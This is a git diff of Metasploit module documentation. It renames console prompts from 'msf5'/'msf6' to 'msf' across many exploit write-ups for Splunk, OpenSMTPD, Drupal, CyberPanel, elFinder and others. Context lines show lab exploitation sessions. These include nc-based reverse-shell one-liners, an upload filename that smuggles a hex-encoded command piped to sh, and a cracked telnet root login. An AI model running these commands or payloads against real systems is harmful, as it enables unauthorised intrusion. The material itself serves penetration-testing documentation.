-msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set NEW_PASSWORD msfrapid7 +msf exploit(unix/http/schneider_electric_net55xx_encoder) > set NEW_PASSWORD msfrapid7 NEW_PASSWORD => msfrapid7 -msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > run +msf exploit(unix/http/schneider_electric_net55xx_encoder) > run [] 192.168.34.2:22 - Attempt to start a SSH connection... [] 192.168.34.2:80 - Attempt to change the root password... diff --git a/documentation/modules/exploit/unix/http/splunk_xslt_authenticated_rce.md b/documentation/modules/exploit/unix/http/splunk_xslt_authenticated_rce.md index 19f71e618e54a..91cd72683f2d4 100644 --- a/documentation/modules/exploit/unix/http/splunk_xslt_authenticated_rce.md +++ b/documentation/modules/exploit/unix/http/splunk_xslt_authenticated_rce.md @@ -18,7 +18,7 @@ which may vary depending on the specific environment and configuration of the Sp ## Scenarios ``` [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > options +msf exploit(unix/http/splunk_xslt_authenticated_rce) > options Module options (exploit/unix/http/splunk_xslt_authenticated_rce): @@ -60,9 +60,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > set rhosts chocapikk.lab +msf exploit(unix/http/splunk_xslt_authenticated_rce) > set rhosts chocapikk.lab rhosts => chocapikk.lab -msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > exploit +msf exploit(unix/http/splunk_xslt_authenticated_rce) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/http/syncovery_linux_rce_2022_36534.md b/documentation/modules/exploit/unix/http/syncovery_linux_rce_2022_36534.md index 76677c264f4d4..2f4a9f5066d1c 100644 --- a/documentation/modules/exploit/unix/http/syncovery_linux_rce_2022_36534.md +++ b/documentation/modules/exploit/unix/http/syncovery_linux_rce_2022_36534.md @@ -52,13 +52,13 @@ The (TCP) target port on which Syncovery is running. By default port 8999 is use ### Syncovery for Linux with default credentials ``` -msf6 > use exploits/unix/http/syncovery_linux_rce_2022_36534 +msf > use exploits/unix/http/syncovery_linux_rce_2022_36534 [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > set rhosts 192.168.178.26 +msf exploit(unix/http/syncovery_linux_rce_2022_36534) > set rhosts 192.168.178.26 rhosts => 192.168.178.26 -msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > set lhost 192.168.178.26 +msf exploit(unix/http/syncovery_linux_rce_2022_36534) > set lhost 192.168.178.26 lhost => 192.168.178.26 -msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > options +msf exploit(unix/http/syncovery_linux_rce_2022_36534) > options Module options (exploit/unix/http/syncovery_linux_rce_2022_36534): @@ -90,9 +90,9 @@ Exploit target: 0 Syncovery for Linux < 9.48j -msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > check +msf exploit(unix/http/syncovery_linux_rce_2022_36534) > check [+] 192.168.178.26:8999 - The target is vulnerable. -msf6 exploit(unix/http/syncovery_linux_rce_2022_36534) > run +msf exploit(unix/http/syncovery_linux_rce_2022_36534) > run [*] Started reverse TCP handler on 192.168.178.26:4444 [+] 192.168.178.26:8999 - Exploit successfully executed diff --git a/documentation/modules/exploit/unix/http/xdebug_unauth_exec.md b/documentation/modules/exploit/unix/http/xdebug_unauth_exec.md index c7447f2fdf63c..f00d2c592abfb 100644 --- a/documentation/modules/exploit/unix/http/xdebug_unauth_exec.md +++ b/documentation/modules/exploit/unix/http/xdebug_unauth_exec.md @@ -97,7 +97,7 @@ You should see a fairly small number, in my case `4.6014785766602E-5`, which ind ### XDebug 2.5.5 on Ubuntu 16.04 with Apache2 2.4.18 -msf5 exploit(unix/http/xdebug_unauth_exec) > check +msf exploit(unix/http/xdebug_unauth_exec) > check [*] 192.168.69.2:80 - Request sent Date: Fri, 27 Apr 2018 21:00:37 GMT @@ -112,7 +112,7 @@ Content-Type: text/html; charset=UTF-8 [*] 192.168.69.2:80 The target service is running, but could not be validated. -msf5 exploit(unix/http/xdebug_unauth_exec) > exploit +msf exploit(unix/http/xdebug_unauth_exec) > exploit [*] Started reverse TCP handler on 192.168.69.1:4444 [*] 192.168.69.2:80 - Waiting for client response. diff --git a/documentation/modules/exploit/unix/http/zivif_ipcheck_exec.md b/documentation/modules/exploit/unix/http/zivif_ipcheck_exec.md index f7e78eb9ee341..1097f522d70ba 100644 --- a/documentation/modules/exploit/unix/http/zivif_ipcheck_exec.md +++ b/documentation/modules/exploit/unix/http/zivif_ipcheck_exec.md @@ -25,28 +25,28 @@ ``` - msf5 > use exploit/unix/http/zivif_ipcheck_exec - msf5 exploit(unix/http/zivif_ipcheck_exec) > set rhost 192.168.0.35 + msf > use exploit/unix/http/zivif_ipcheck_exec + msf exploit(unix/http/zivif_ipcheck_exec) > set rhost 192.168.0.35 rhost => 192.168.0.35 - msf5 exploit(unix/http/zivif_ipcheck_exec) > set PAYLOAD payload/cmd/unix/generic + msf exploit(unix/http/zivif_ipcheck_exec) > set PAYLOAD payload/cmd/unix/generic PAYLOAD => cmd/unix/generic - msf5 exploit(unix/http/zivif_ipcheck_exec) > set CMD telenetd + msf exploit(unix/http/zivif_ipcheck_exec) > set CMD telenetd CMD => telenetd - msf5 exploit(unix/http/zivif_ipcheck_exec) > exploit + msf exploit(unix/http/zivif_ipcheck_exec) > exploit [*] Sending request [+] Command sent successfully [*] Exploit completed, but no session was created. - msf5 exploit(unix/http/zivif_ipcheck_exec) > - msf5 exploit(unix/http/zivif_ipcheck_exec) > back - msf5 > use auxiliary/scanner/telnet/telnet_login - msf5 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.0.0/24 + msf exploit(unix/http/zivif_ipcheck_exec) > + msf exploit(unix/http/zivif_ipcheck_exec) > back + msf > use auxiliary/scanner/telnet/telnet_login + msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.0.0/24 RHOSTS => 192.168.0.0/24 - msf5 auxiliary(scanner/telnet/telnet_login) > set USERPASS_FILE /root/creds + msf auxiliary(scanner/telnet/telnet_login) > set USERPASS_FILE /root/creds USERPASS_FILE => /root/creds - msf5 auxiliary(scanner/telnet/telnet_login) > set threads 10 + msf auxiliary(scanner/telnet/telnet_login) > set threads 10 threads => 10 - msf5 auxiliary(scanner/telnet/telnet_login) > exploit + msf auxiliary(scanner/telnet/telnet_login) > exploit [!] 192.168.0.34:23 - No active DB -- Credential data will not be saved! [+] 192.168.0.34:23 - 192.168.0.34:23 - Login Successful: root:cat1029 @@ -56,8 +56,8 @@ [-] 192.168.0.34:23 - 192.168.0.34:23 - LOGIN FAILED: admin:cat1029 (Incorrect: ) [*] 192.168.0.34:23 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed - msf5 auxiliary(scanner/telnet/telnet_login) > - msf5 auxiliary(scanner/telnet/telnet_login) > sessions + msf auxiliary(scanner/telnet/telnet_login) > + msf auxiliary(scanner/telnet/telnet_login) > sessions Active sessions =============== @@ -66,7 +66,7 @@ -- ---- ---- ----------- ---------- 1 shell TELNET root:cat1029 (192.168.0.34:23) 0.0.0.0:0 -> 192.168.0.34:23 (192.168.0.34) - msf5 auxiliary(scanner/telnet/telnet_login) > + msf auxiliary(scanner/telnet/telnet_login) > ``` diff --git a/documentation/modules/exploit/unix/local/emacs_movemail.md b/documentation/modules/exploit/unix/local/emacs_movemail.md index 5f68530c32328..25ff296a9c8a3 100644 --- a/documentation/modules/exploit/unix/local/emacs_movemail.md +++ b/documentation/modules/exploit/unix/local/emacs_movemail.md @@ -44,8 +44,8 @@ SUID-root shell at `/tmp/sh`. ### 4.3BSD ``` -msf5 > use exploit/unix/local/emacs_movemail -msf5 exploit(unix/local/emacs_movemail) > options +msf > use exploit/unix/local/emacs_movemail +msf exploit(unix/local/emacs_movemail) > options Module options (exploit/unix/local/emacs_movemail): @@ -69,9 +69,9 @@ Exploit target: 0 /usr/lib/crontab.local -msf5 exploit(unix/local/emacs_movemail) > set session -1 +msf exploit(unix/local/emacs_movemail) > set session -1 session => -1 -msf5 exploit(unix/local/emacs_movemail) > run +msf exploit(unix/local/emacs_movemail) > run [*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc [-] Current shell is unknown @@ -84,5 +84,5 @@ msf5 exploit(unix/local/emacs_movemail) > run [+] Writing crontab to /usr/lib/crontab.local [!] Please wait at least one minute for effect [*] Exploit completed, but no session was created. -msf5 exploit(unix/local/emacs_movemail) > +msf exploit(unix/local/emacs_movemail) > ``` diff --git a/documentation/modules/exploit/unix/local/opensmtpd_oob_read_lpe.md b/documentation/modules/exploit/unix/local/opensmtpd_oob_read_lpe.md index 4c27729cda164..b68d69574021e 100644 --- a/documentation/modules/exploit/unix/local/opensmtpd_oob_read_lpe.md +++ b/documentation/modules/exploit/unix/local/opensmtpd_oob_read_lpe.md @@ -33,8 +33,8 @@ Set this to a valid session ID on an OpenBSD target. ### OpenSMTPD 6.6.0 on OpenBSD 6.6 ``` -msf5 > use exploit/unix/local/opensmtpd_oob_read_lpe -msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > options +msf > use exploit/unix/local/opensmtpd_oob_read_lpe +msf exploit(unix/local/opensmtpd_oob_read_lpe) > options Module options (exploit/unix/local/opensmtpd_oob_read_lpe): @@ -62,11 +62,11 @@ Exploit target: 0 OpenSMTPD < 6.6.4 (automatic grammar selection) -msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set lhost 172.16.249.1 +msf exploit(unix/local/opensmtpd_oob_read_lpe) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 1 +msf exploit(unix/local/opensmtpd_oob_read_lpe) > set session 1 session => 1 -msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run +msf exploit(unix/local/opensmtpd_oob_read_lpe) > run [+] mkfifo /tmp/gkhbba; nc 172.16.249.1 4444 0/tmp/gkhbba 2>&1; rm /tmp/gkhbba [!] SESSION may not be compatible with this module. @@ -109,9 +109,9 @@ Background session 3? [y/N] y ### OpenSMTPD 6.0.4 on OpenBSD 6.3 ``` -msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 2 +msf exploit(unix/local/opensmtpd_oob_read_lpe) > set session 2 session => 2 -msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run +msf exploit(unix/local/opensmtpd_oob_read_lpe) > run [+] mkfifo /tmp/hkioy; nc 172.16.249.1 4444 0/tmp/hkioy 2>&1; rm /tmp/hkioy [!] SESSION may not be compatible with this module. diff --git a/documentation/modules/exploit/unix/misc/qnx_qconn_exec.md b/documentation/modules/exploit/unix/misc/qnx_qconn_exec.md index cbaac43c8916b..3afe777bef8d9 100644 --- a/documentation/modules/exploit/unix/misc/qnx_qconn_exec.md +++ b/documentation/modules/exploit/unix/misc/qnx_qconn_exec.md @@ -36,12 +36,12 @@ ``` - msf5 > use exploit/unix/misc/qnx_qconn_exec - msf5 exploit(unix/misc/qnx_qconn_exec) > set rhost 172.16.191.215 + msf > use exploit/unix/misc/qnx_qconn_exec + msf exploit(unix/misc/qnx_qconn_exec) > set rhost 172.16.191.215 rhost => 172.16.191.215 - msf5 exploit(unix/misc/qnx_qconn_exec) > set rport 8000 + msf exploit(unix/misc/qnx_qconn_exec) > set rport 8000 rport => 8000 - msf5 exploit(unix/misc/qnx_qconn_exec) > run + msf exploit(unix/misc/qnx_qconn_exec) > run [*] 172.16.191.215:8000 - Sending payload... [+] 172.16.191.215:8000 - Payload sent successfully diff --git a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md index f084f9afb8a3d..048073c839370 100644 --- a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md +++ b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md @@ -45,8 +45,8 @@ and `cmd/unix/generic` are supported. ### `sendmail` 5.51 on 4.3BSD ``` -msf5 > use exploit/unix/smtp/morris_sendmail_debug -msf5 exploit(unix/smtp/morris_sendmail_debug) > options +msf > use exploit/unix/smtp/morris_sendmail_debug +msf exploit(unix/smtp/morris_sendmail_debug) > options Module options (exploit/unix/smtp/morris_sendmail_debug): @@ -71,11 +71,11 @@ Exploit target: 0 @(#)version.c 5.51 (Berkeley) 5/2/86 -msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1 +msf exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.56.1 +msf exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf5 exploit(unix/smtp/morris_sendmail_debug) > run +msf exploit(unix/smtp/morris_sendmail_debug) > run [*] Started reverse TCP double handler on 192.168.56.1:4444 [*] 127.0.0.1:25 - Connecting to sendmail diff --git a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md index 51c5f27f507e2..554264b293ef4 100644 --- a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md +++ b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md @@ -36,8 +36,8 @@ Set this to a valid mail recipient. The default is `root`. ### OpenSMTPD 6.6.0 on OpenBSD 6.6 ``` -msf5 > use exploit/unix/smtp/opensmtpd_mail_from_rce -msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > options +msf > use exploit/unix/smtp/opensmtpd_mail_from_rce +msf exploit(unix/smtp/opensmtpd_mail_from_rce) > options Module options (exploit/unix/smtp/opensmtpd_mail_from_rce): @@ -63,11 +63,11 @@ Exploit target: 0 OpenSMTPD 6.4.0 - 6.6.1 -msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set rhosts 172.16.249.137 +msf exploit(unix/smtp/opensmtpd_mail_from_rce) > set rhosts 172.16.249.137 rhosts => 172.16.249.137 -msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > set lhost 172.16.249.1 +msf exploit(unix/smtp/opensmtpd_mail_from_rce) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(unix/smtp/opensmtpd_mail_from_rce) > run +msf exploit(unix/smtp/opensmtpd_mail_from_rce) > run [+] mkfifo /tmp/twkfr; nc 172.16.249.1 4444 0/tmp/twkfr 2>&1; rm /tmp/twkfr [*] Started reverse TCP handler on 172.16.249.1:4444 diff --git a/documentation/modules/exploit/unix/ssh/arista_tacplus_shell.md b/documentation/modules/exploit/unix/ssh/arista_tacplus_shell.md index db3afaf926aa1..e4e09c2cf637d 100644 --- a/documentation/modules/exploit/unix/ssh/arista_tacplus_shell.md +++ b/documentation/modules/exploit/unix/ssh/arista_tacplus_shell.md @@ -65,7 +65,7 @@ root@kali:~/git/metasploit-framework# ./msfconsole Metasploit tip: Display the Framework log using the log command, learn more with help log -msf5 > search arista +msf > search arista Matching Modulesf ================ @@ -75,8 +75,8 @@ Matching Modulesf 0 exploit/unix/ssh/arista_tacplus_shell 2020-02-02 great Yes Arista restricted shell escape (with privesc) -msf5 > use 0 -msf5 exploit(unix/ssh/arista_tacplus_shell) > show options +msf > use 0 +msf exploit(unix/ssh/arista_tacplus_shell) > show options Module options (exploit/unix/ssh/arista_tacplus_shell): @@ -104,22 +104,22 @@ Exploit target: 0 Universal -msf5 exploit(unix/ssh/arista_tacplus_shell) > set LHOST eth0 +msf exploit(unix/ssh/arista_tacplus_shell) > set LHOST eth0 LHOST => 10.10.10.20 -msf5 exploit(unix/ssh/arista_tacplus_shell) > set RHOSTS 10.10.10.10 +msf exploit(unix/ssh/arista_tacplus_shell) > set RHOSTS 10.10.10.10 RHOSTS => 10.10.10.10 -msf5 exploit(unix/ssh/arista_tacplus_shell) > set USERNAME admin +msf exploit(unix/ssh/arista_tacplus_shell) > set USERNAME admin USERNAME => admin -msf5 exploit(unix/ssh/arista_tacplus_shell) > set PASSWORD admin +msf exploit(unix/ssh/arista_tacplus_shell) > set PASSWORD admin PASSWORD => admin -msf5 exploit(unix/ssh/arista_tacplus_shell) > check +msf exploit(unix/ssh/arista_tacplus_shell) > check [+] 10.10.10.10:22 - The target is vulnerable. -msf5 exploit(unix/ssh/arista_tacplus_shell) > exploit -j +msf exploit(unix/ssh/arista_tacplus_shell) > exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.10.10.20:4444 [*] 10.10.10.10:22 - Attempt to login to the Arista's restricted shell... -msf5 exploit(unix/ssh/arista_tacplus_shell) > [+] SSH connection established. +msf exploit(unix/ssh/arista_tacplus_shell) > [+] SSH connection established. [*] Requesting pty rbash [+] Pty successfully obtained. [*] Requesting a shell. @@ -127,7 +127,7 @@ msf5 exploit(unix/ssh/arista_tacplus_shell) > [+] SSH connection established. [*] Attempting to break out of Arista rbash... [+] Escaped from rbash! [*] Command shell session 1 opened (10.01.10.20:4444 -> 10.10.10.10:51153) at 2020-06-09 15:39:53 -0700 -msf5 exploit(unix/ssh/arista_tacplus_shell) > sessions -i 1 +msf exploit(unix/ssh/arista_tacplus_shell) > sessions -i 1 [*] Starting interaction with 1... bash-4.3# whoami whoami @@ -136,5 +136,5 @@ bash-4.3# exit exit exit [*] 10.10.10.10 - Command shell session 1 closed. -msf5 exploit(unix/ssh/arista_tacplus_shell) > +msf exploit(unix/ssh/arista_tacplus_shell) > ``` diff --git a/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md b/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md index a3404e480e844..456bf1d0956a3 100644 --- a/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md +++ b/documentation/modules/exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.md @@ -97,7 +97,7 @@ Exploit target: 0 Linux -msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run +msf exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run [*] Started reverse TCP handler on 192.168.1.229:4000 [*] Running automatic check ("set AutoCheck false" to disable) @@ -165,7 +165,7 @@ Exploit target: 0 Linux -msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run +msf exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run [*] Started reverse TCP handler on 192.168.1.229:4001 [*] Running automatic check ("set AutoCheck false" to disable) @@ -231,7 +231,7 @@ Exploit target: 1 CMD -msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > exploit +msf exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > exploit [*] Started reverse double SSL handler on 192.168.1.229:4949 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/webapp/ajenti_auth_username_cmd_injection.md b/documentation/modules/exploit/unix/webapp/ajenti_auth_username_cmd_injection.md index c232a76f55b0c..10dfbca68ab39 100644 --- a/documentation/modules/exploit/unix/webapp/ajenti_auth_username_cmd_injection.md +++ b/documentation/modules/exploit/unix/webapp/ajenti_auth_username_cmd_injection.md @@ -34,12 +34,12 @@ Set this to the Ajenti base path. The default is `/`. ### Tested Ajenti 2.1.31 on Ubuntu 19.10 x64 ``` -msf5 > use exploit/unix/webapp/ajenti_auth_username_cmd_injection -msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set RHOSTS 172.16.172.135 +msf > use exploit/unix/webapp/ajenti_auth_username_cmd_injection +msf exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set RHOSTS 172.16.172.135 RHOSTS => 172.16.172.135 -msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set LHOST 172.16.172.1 +msf exploit(unix/webapp/ajenti_auth_username_cmd_injection) > set LHOST 172.16.172.1 LHOST => 172.16.172.1 -msf5 exploit(unix/webapp/ajenti_auth_username_cmd_injection) > exploit +msf exploit(unix/webapp/ajenti_auth_username_cmd_injection) > exploit [*] Started reverse TCP handler on 172.16.172.1:4444 [*] Exploiting... diff --git a/documentation/modules/exploit/unix/webapp/bolt_authenticated_rce.md b/documentation/modules/exploit/unix/webapp/bolt_authenticated_rce.md index 61c20318dd82e..52b66cb54ef8a 100644 --- a/documentation/modules/exploit/unix/webapp/bolt_authenticated_rce.md +++ b/documentation/modules/exploit/unix/webapp/bolt_authenticated_rce.md @@ -60,7 +60,7 @@ The username for the Bolt CMS account to authenticate with. This option is requi ### Bolt CMS 3.7.0 running on CentOS 7 ``` -msf5 exploit(unix/webapp/bolt_authenticated_rce) > show options +msf exploit(unix/webapp/bolt_authenticated_rce) > show options Module options (exploit/unix/webapp/bolt_authenticated_rce): @@ -96,7 +96,7 @@ Exploit target: 2 Linux (cmd) -msf5 exploit(unix/webapp/bolt_authenticated_rce) > run +msf exploit(unix/webapp/bolt_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.1.10:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -116,7 +116,7 @@ uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfi ### Bolt CMS 3.7.0 running on Ubuntu 18.04 ``` -msf5 exploit(unix/webapp/bolt_authenticated_rce) > options +msf exploit(unix/webapp/bolt_authenticated_rce) > options Module options (exploit/unix/webapp/bolt_authenticated_rce): @@ -152,7 +152,7 @@ Exploit target: 1 Linux (x64) -msf5 exploit(unix/webapp/bolt_authenticated_rce) > run +msf exploit(unix/webapp/bolt_authenticated_rce) > run [*] Started reverse TCP handler on 172.28.128.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/unix/webapp/byob_unauth_rce.md b/documentation/modules/exploit/unix/webapp/byob_unauth_rce.md index 0ae3e90bb12da..c7234bb9f5ced 100644 --- a/documentation/modules/exploit/unix/webapp/byob_unauth_rce.md +++ b/documentation/modules/exploit/unix/webapp/byob_unauth_rce.md @@ -59,7 +59,7 @@ No options This example uses `cmd/linux/http/x64/meterpreter_reverse_tcp` to gain a reverse shell. ``` -msf6 exploit(unix/http/byob_unauth_rce) > options +msf exploit(unix/http/byob_unauth_rce) > options Module options (exploit/unix/http/byob_unauth_rce): @@ -103,10 +103,10 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(unix/http/byob_unauth_rce) > run http://192.168.1.36:5000 +msf exploit(unix/http/byob_unauth_rce) > run http://192.168.1.36:5000 [*] Exploit running as background job 21. [*] Exploit completed, but no session was created. -msf6 exploit(unix/http/byob_unauth_rce) > +msf exploit(unix/http/byob_unauth_rce) > [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. @@ -126,7 +126,7 @@ msf6 exploit(unix/http/byob_unauth_rce) > [*] Sending stage (3045380 bytes) to 192.168.1.36 [*] Meterpreter session 9 opened (192.168.1.36:4444 -> 192.168.1.36:52382) at 2024-09-21 03:46:21 +0200 -msf6 exploit(unix/http/byob_unauth_rce) > sessions 9 +msf exploit(unix/http/byob_unauth_rce) > sessions 9 [*] Starting interaction with 9... meterpreter > sysinfo diff --git a/documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md b/documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md index a0e21e056ced0..c5bbfe436e11d 100644 --- a/documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md +++ b/documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md @@ -76,9 +76,9 @@ No option To exploit `CVE-2024-51567` and achieve remote command execution: ```bash -msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51567 +msf exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51567 action => CVE-2024-51567 -msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 +msf exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -100,9 +100,9 @@ meterpreter > To exploit `CVE-2024-51378` and achieve remote command execution: ```bash -msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51378 +msf exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51378 action => CVE-2024-51378 -msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 +msf exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -122,9 +122,9 @@ meterpreter > ### Example: CVE-2024-51568 on CyberPanel 2.3.4 (Ubuntu 18.04) ```bash -msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51568 +msf exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51568 action => CVE-2024-51568 -msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 +msf exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md index 84a6ee5a66d0e..ad946cc7b4f5c 100644 --- a/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md +++ b/documentation/modules/exploit/unix/webapp/drupal_drupalgeddon2.md @@ -79,19 +79,19 @@ Defaults to `/tmp`, but other options may include `/var/tmp` and Drupal 7.57 from the Docker image is tested below. ``` -msf5 > use exploit/unix/webapp/drupal_drupalgeddon2 -msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3 +msf > use exploit/unix/webapp/drupal_drupalgeddon2 +msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3 rhost => 172.17.0.3 -msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true +msf exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true verbose => true -msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check +msf exploit(unix/webapp/drupal_drupalgeddon2) > check [*] Drupal 7 targeted at http://172.17.0.3/ [+] Drupal appears unpatched in CHANGELOG.txt [*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue [+] Drupal is vulnerable to code execution [+] 172.17.0.3:80 The target is vulnerable. -msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run +msf exploit(unix/webapp/drupal_drupalgeddon2) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Drupal 7 targeted at http://172.17.0.3/ diff --git a/documentation/modules/exploit/unix/webapp/drupal_restws_unserialize.md b/documentation/modules/exploit/unix/webapp/drupal_restws_unserialize.md index dd81eb9377816..27341f39468ea 100644 --- a/documentation/modules/exploit/unix/webapp/drupal_restws_unserialize.md +++ b/documentation/modules/exploit/unix/webapp/drupal_restws_unserialize.md @@ -53,7 +53,7 @@ output. Defaults to `false` unless `cmd/unix/generic` is your payload. ## Usage ``` -msf5 exploit(unix/webapp/drupal_restws_unserialize) > run +msf exploit(unix/webapp/drupal_restws_unserialize) > run [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Drupal 8 targeted at http://127.0.0.1/ diff --git a/documentation/modules/exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection.md b/documentation/modules/exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection.md index 3f33899659b6e..612710e193173 100644 --- a/documentation/modules/exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection.md +++ b/documentation/modules/exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection.md @@ -57,16 +57,16 @@ ## Scenarios ``` - msf5 > use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection - msf5 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set rhosts 172.16.191.253 + msf > use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection + msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set rhosts 172.16.191.253 rhosts => 172.16.191.253 - msf5 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set targeturi /elFinder-2.1.47 + msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set targeturi /elFinder-2.1.47 targeturi => /elFinder-2.1.47 - msf5 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set verbose true + msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set verbose true verbose => true - msf5 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > check + msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > check [*] 172.16.191.253:80 - The target service is running, but could not be validated. - msf5 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > run + msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Uploading payload 'CDj7j1.jpg;echo 6370202e2e2f66696c65732f43446a376a312e6a70672a6563686f2a202e6b50555871684d5a2e706870 |xxd -r -p |sh& #.jpg' (1894 bytes) diff --git a/documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md 